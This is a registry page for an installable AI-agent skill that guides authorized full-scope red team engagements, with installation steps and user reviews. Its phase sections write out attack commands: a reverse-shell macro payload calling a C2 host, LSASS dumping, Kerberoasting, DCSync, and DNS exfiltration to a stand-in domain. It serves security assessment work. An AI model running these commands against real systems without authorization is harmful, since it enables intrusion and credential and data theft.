conducting-full-scope-red-team-engagement

mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026

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$npx skills install mukul975/Anthropic-Cybersecurity-Skills/conducting-full-scope-red-team-engagement
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summary

Plan and execute a comprehensive red team engagement covering reconnaissance through post-exploitation using MITRE ATT&CK-aligned TTPs to evaluate an organization's detection and response capabilities.

skill.md
name
conducting-full-scope-red-team-engagement
description
Plan and execute a comprehensive red team engagement covering reconnaissance through post-exploitation using MITRE ATT&CK-aligned TTPs to evaluate an organization's detection and response capabilities.
domain
cybersecurity
subdomain
red-teaming
tags
- red-team - adversary-emulation - mitre-attack - penetration-testing - offensive-security - purple-team - ttp-mapping
version
'1.0'
author
mahipal
license
Apache-2.0
d3fend_techniques
- File Metadata Consistency Validation - Application Protocol Command Analysis - Identifier Analysis - Content Format Conversion - Message Analysis
nist_csf
- ID.RA-01 - GV.OV-02 - DE.AE-07

Conducting Full-Scope Red Team Engagement

Overview

A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).

When to Use

  • When conducting security assessments that involve conducting full scope red team engagement
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Written authorization (Rules of Engagement document) signed by executive leadership
  • Defined scope including in-scope/out-of-scope systems, escalation contacts, and emergency stop procedures
  • Threat intelligence on relevant adversary groups (e.g., APT29, FIN7, Lazarus Group)
  • Red team infrastructure: C2 servers, redirectors, phishing domains, payload development environment
  • Legal review confirming compliance with Computer Fraud and Abuse Act (CFAA) and local laws

Engagement Phases

Phase 1: Planning and Threat Modeling

Map the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:

Kill Chain PhaseMITRE ATT&CK TacticExample Techniques
ReconnaissanceTA0043T1593 Search Open Websites/Domains, T1589 Gather Victim Identity Info
Resource DevelopmentTA0042T1583.001 Acquire Infrastructure: Domains, T1587.001 Develop Capabilities: Malware
Initial AccessTA0001T1566.001 Spearphishing Attachment, T1078 Valid Accounts
ExecutionTA0002T1059.001 PowerShell, T1204.002 User Execution: Malicious File
PersistenceTA0003T1053.005 Scheduled Task, T1547.001 Registry Run Keys
Privilege EscalationTA0004T1068 Exploitation for Privilege Escalation, T1548.002 UAC Bypass
Defense EvasionTA0005T1055 Process Injection, T1027 Obfuscated Files
Credential AccessTA0006T1003.001 LSASS Memory, T1558.003 Kerberoasting
DiscoveryTA0007T1087 Account Discovery, T1018 Remote System Discovery
Lateral MovementTA0008T1021.002 SMB/Windows Admin Shares, T1550.002 Pass the Hash
CollectionTA0009T1560 Archive Collected Data, T1213 Data from Information Repositories
ExfiltrationTA0010T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol
ImpactTA0040T1486 Data Encrypted for Impact, T1489 Service Stop

Phase 2: Reconnaissance (OSINT)

# Passive DNS enumeration
amass enum -passive -d target.com -o amass_passive.txt

# Certificate transparency log search
python3 -c "
import requests
url = 'https://crt.sh/?q=%.target.com&output=json'
r = requests.get(url)
for cert in r.json():
    print(cert['name_value'])
" | sort -u > subdomains.txt

# LinkedIn employee enumeration
theHarvester -d target.com -b linkedin -l 500 -f harvest_results

# Technology fingerprinting
whatweb -v target.com --log-json=whatweb.json

# Breach data credential search (authorized)
h8mail -t target.com -o h8mail_results.csv

Phase 3: Initial Access

Common initial access vectors for red team engagements:

Spearphishing (T1566.001):

# Generate payload with macro
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba

# Set up GoPhish campaign
# Configure SMTP profile, email template with pretexted lure, and landing page
gophish --config config.json

External Service Exploitation (T1190):

# Scan for vulnerable services
nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan

# Exploit known CVE (example: ProxyShell CVE-2021-34473)
python3 proxyshell_exploit.py -t mail.target.com -e [email protected]

Phase 4: Post-Exploitation and Lateral Movement

# Situational awareness (T1082, T1016)
whoami /all
systeminfo
ipconfig /all
net group "Domain Admins" /domain
nltest /dclist:target.com

# Credential harvesting from LSASS (T1003.001)
# Using Havoc C2 built-in module
dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords

# Kerberoasting (T1558.003)
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

# Lateral movement via WMI (T1047)
wmiexec.py domain/user:password@target-dc -c "whoami"

# Lateral movement via PsExec (T1021.002)
psexec.py domain/admin:[email protected]

Phase 5: Objective Achievement

Define and pursue specific objectives:

  1. Domain Dominance: Achieve Domain Admin access and DCSync credentials
  2. Data Exfiltration: Locate and exfiltrate crown jewel data (e.g., PII, financial records)
  3. Business Impact Simulation: Demonstrate ransomware deployment capability (without execution)
  4. Physical Access: Badge cloning, tailgating, server room access
# DCSync attack (T1003.006)
secretsdump.py domain/admin:[email protected] -just-dc-ntlm

# Exfiltration over DNS (T1048.003)
dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t

Phase 6: Reporting and Debrief

The report should include:

  1. Executive Summary: Business impact, risk rating, key findings
  2. Attack Narrative: Timeline of activities with screenshots and evidence
  3. MITRE ATT&CK Mapping: Full heat map of techniques used
  4. Findings: Each finding with CVSS score, evidence, remediation
  5. Detection Gap Analysis: What the SOC detected vs. what was missed
  6. Purple Team Recommendations: Specific detection rules for gaps identified

Metrics and KPIs

MetricDescription
Mean Time to Detect (MTTD)Average time from action to SOC detection
Mean Time to Respond (MTTR)Average time from detection to containment
TTP CoveragePercentage of executed techniques detected
Objective Achievement RatePercentage of defined objectives completed
Dwell TimeTotal time red team maintained access undetected

Tools and Frameworks

  • C2 Frameworks: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4
  • Reconnaissance: Amass, Recon-ng, theHarvester, SpiderFoot
  • Exploitation: Metasploit, Impacket, CrackMapExec, Rubeus
  • Post-Exploitation: Mimikatz, SharpCollection, BOF.NET
  • Reporting: PlexTrac, Ghostwriter, Serpico

References

how to use conducting-full-scope-red-team-engagement

How to use conducting-full-scope-red-team-engagement on Cursor

AI-first code editor with Composer

1

Prerequisites

Before installing skills in Cursor, ensure your development environment meets these requirements:

  • Cursor installed and configured on your development machine
  • Node.js version 16.0+ with npm package manager (verify with node --version)
  • Active project directory or workspace where you want to add conducting-full-scope-red-team-engagement
2

Execute installation command

Execute the skills CLI command in your project's root directory to begin installation:

$npx skills install mukul975/Anthropic-Cybersecurity-Skills/conducting-full-scope-red-team-engagement

The skills CLI fetches conducting-full-scope-red-team-engagement from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.

3

Select Cursor when prompted

The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:

◆ Which agents do you want to install to?
│ ── Universal (.agents/skills) ── always included ────
│ • Amp
│ • Antigravity
│ • Cline
│ • Codex
│ ●Cursor(selected)
│ • Cursor
│ • Windsurf
4

Verify installation

Confirm successful installation by checking the skill directory location:

.cursor/skills/conducting-full-scope-red-team-engagement

Reload or restart Cursor to activate conducting-full-scope-red-team-engagement. Access the skill through slash commands (e.g., /conducting-full-scope-red-team-engagement) or your agent's skill management interface.

Security & Verification Notice

We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.

Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.

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Use Cases

Task Automation & Efficiency

Automate repetitive workflows and reduce manual effort

Example

Generate reports, summarize documents, draft communications

Save 3-5 hours per week on routine tasks

Knowledge Enhancement

Learn new skills, understand complex topics, get expert guidance

Example

Explain concepts, provide examples, suggest learning resources

Accelerate learning and skill development by 2x

Quality Improvement

Enhance output quality through reviews, suggestions, and refinements

Example

Review drafts, suggest improvements, catch errors

Improve work quality by 30-40% with less effort

Implementation Guide

Prerequisites

  • Claude Desktop or compatible AI client with skill support
  • Clear understanding of task or problem to solve
  • Willingness to iterate and refine outputs

Time Estimate

15-45 minutes depending on use case complexity

Installation Steps

  1. 1.Install skill using provided installation command
  2. 2.Test with simple use case relevant to your work
  3. 3.Evaluate output quality and relevance
  4. 4.Iterate on prompts to improve results
  5. 5.Integrate into regular workflow if valuable

Common Pitfalls

  • Expecting perfect results without iteration
  • Not providing enough context in prompts
  • Using skill for tasks outside its intended scope
  • Accepting outputs without review and validation

Best Practices

✓ Do

  • +Start with clear, specific prompts
  • +Provide relevant context and constraints
  • +Review and refine all outputs before using
  • +Iterate to improve output quality
  • +Document successful prompt patterns

✗ Don't

  • Don't use without understanding skill limitations
  • Don't skip validation of outputs
  • Don't share sensitive information in prompts
  • Don't expect skill to replace human judgment

💡 Pro Tips

  • Be specific about desired format and style
  • Ask for multiple options to choose from
  • Request explanations to understand reasoning
  • Combine AI efficiency with human expertise

When to Use This

✓ Use When

Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.

✗ Avoid When

Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.

Learning Path

  1. 1Familiarize yourself with skill capabilities and limitations
  2. 2Start with low-risk, non-critical tasks
  3. 3Progress to more complex and valuable use cases
  4. 4Build expertise through regular use and experimentation

Discussion

Product Hunt–style comments (not star reviews)
  • No comments yet — start the thread.
general reviews

Ratings

4.859 reviews
  • Chaitanya Patil· Dec 24, 2024

    Registry listing for conducting-full-scope-red-team-engagement matched our evaluation — installs cleanly and behaves as described in the markdown.

  • Charlotte Menon· Dec 16, 2024

    conducting-full-scope-red-team-engagement reduced setup friction for our internal harness; good balance of opinion and flexibility.

  • Henry Kim· Dec 16, 2024

    conducting-full-scope-red-team-engagement is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.

  • Diya Khan· Dec 12, 2024

    Keeps context tight: conducting-full-scope-red-team-engagement is the kind of skill you can hand to a new teammate without a long onboarding doc.

  • Min Lopez· Dec 4, 2024

    I recommend conducting-full-scope-red-team-engagement for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.

  • Sophia Khanna· Nov 23, 2024

    conducting-full-scope-red-team-engagement fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.

  • Jin Robinson· Nov 19, 2024

    Useful defaults in conducting-full-scope-red-team-engagement — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.

  • Piyush G· Nov 15, 2024

    conducting-full-scope-red-team-engagement reduced setup friction for our internal harness; good balance of opinion and flexibility.

  • Diya Sethi· Nov 7, 2024

    Registry listing for conducting-full-scope-red-team-engagement matched our evaluation — installs cleanly and behaves as described in the markdown.

  • Henry Huang· Nov 3, 2024

    We added conducting-full-scope-red-team-engagement from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.

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